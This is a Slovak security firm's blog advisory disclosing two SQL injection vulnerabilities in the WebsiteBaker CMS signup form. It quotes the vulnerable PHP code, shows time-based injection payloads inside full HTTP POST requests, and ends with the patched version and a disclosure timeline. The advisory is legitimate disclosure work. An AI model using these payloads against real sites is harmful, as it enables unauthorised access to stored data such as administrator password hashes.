12 január 2018 / 3 minúty čítania
Možno aj vy ste využili možnosť vytvoriť si novú web stránku pomocou redakčného systému WebSiteBaker. V našom blogu sme vám spísali ako sme objavili bezpečnostnú chybu v tomto redakčnom systéme.
WebsiteBaker 2.10.0 a nižšie verzie sú zraniteľné na chyby typu SQL injection.
Website Baker je redakčný systém, je založený na programovacom jazyku PHP a databázovom systéme MySQL. Pomocou Website Bakera môžete mať internetovú prezentáciu bez znalosti programovania či HTML zručnosti. Použitie je veľmi jednoduché, perfektnú, profesionálnu webovú stránku, je možné vytvoriť v priebehu niekoľkých hodín. (Zdroj: wikipedia)
Neautentifikovaný používateľ môže vkladať SQL dopyty do premenných "username" a "display_name" v PHP skripte "account/signup.php" (registračný formulár). Táto zraniteľnosť existuje z dôvodu nedostatočnej filtrácii používateľom dodaných dát. Zneužitím týchto zraniteľností útočník získa prístup ku všetkým záznamom, ktoré sú uložené v databáze s právami databázového užívateľa WebsiteBaker (Zahešované administrátorske heslo vo formáte MD5).
Zraniteľný kód:
account/signup2.php
40 $username = strtolower(strip_tags($wb->get_post('username'))); <-- <strong>vstup od užívateľa</strong>
41 $display_name = strip_tags($wb->get_post('display_name')); <-- <strong>vstup od užívateľa</strong>
...
50 // Check if username already exists
51 $sql = 'SELECT `user_id` FROM `'.TABLE_PREFIX.'users` WHERE `username` = \''.$username.'\''; <-- <strong>SQL injection č.1</strong>
52 if ($database->get_one($sql)) {
53 $error[] = $MESSAGE['USERS_USERNAME_TAKEN']."\n";
54 }
55 if(!preg_match('/^[a-z]{1}[a-z0-9_-]{2,}$/i', $username)) {
56 $error[] = $MESSAGE['USERS_NAME_INVALID_CHARS']."\n";
57 }
58 $sql = 'SELECT COUNT(*) FROM `'.TABLE_PREFIX.'users` ';
59 $sql .= 'WHERE `display_name` LIKE \''.$display_name.'\''; <-- <strong>SQL injection č.2</strong>
60 if ($database->get_one($sql) > 0) {
61 $error[] = $MESSAGE['USERS_DISPLAYNAME_TAKEN'].'';
POST parametre "username" (riadok 40) a "display_name" (riadok 41) sa používajú bez dostatočnej vstupnej validácie vo funkcií "get_one", ktorá sa používa na SQL dopyt. SQL dopyty nepoužívajú takzvané "prepared statements".
framework/class.database.php
102 // Gets the first column of the first row
103 function get_one( $statement )
104 {
105 $fetch_row = mysqli_fetch_array(mysqli_query($this->db_handle, $statement) );
106 $result = $fetch_row[0];
107 $this->set_error(null);
108 if(mysqli_error($this->db_handle)) {
109 $this->set_error(mysqli_error($this->db_handle));
110 return null;
111 } else {
112 return $result;
113 }
114 }
.
SQL Injection č.1: parameter username
Payload: sql' OR SLEEP(5)--
POST /account/signup.php HTTP/1.1
Host: localhost
Cookie: wb-5016-sid=7e753a5q6lpfp8fh24ppo9vm70
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
action=send&redirect=http%3A%2F%2Flocalhost&submitted_when=1490134734&email-address=&name=&full_name=&<strong>username=sql' OR SLEEP(5)-- </strong>&display_name=test&email=test&captcha=&submit=Sign-up
Odpoveď bude mať oneskorenie 5 sekúnd.
SQL Injection č.2: parameter display_name
Payload: sql' OR SLEEP(5)--
POST /account/signup.php HTTP/1.1
Host: localhost
Cookie: wb-5016-sid=7e753a5q6lpfp8fh24ppo9vm70
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
action=send&redirect=http%3A%2F%2Flocalhost&submitted_when=1490134833&email-address=&name=&full_name=&username=test&<strong>display_name=sql' OR SLEEP(5)--</strong> &email=test&captcha=&submit=Sign-up
Odpoveď bude mať oneskorenie 5 sekúnd.
Aktualizujte WebsiteBaker na verziu 2.10.1 alebo na novšiu verziu.
24.03.2017 Dodávateľ bol informovaný o zraniteľnostiach
25.03.2017 Dodávateľ potvrdil zraniteľnosti a vydal opravu
03.04.2017 Pridelené CVE
07.04.2017 Zverejnené detaily
Tieto chyby objavil Marek Alakša zo spoločnosti Citadelo.
Všetky články
Prihláste sa k odberu nášho newslettera a získajte všetky dôležité novinky v oblasti kybernetickej bezpečnosti a etického hackovania.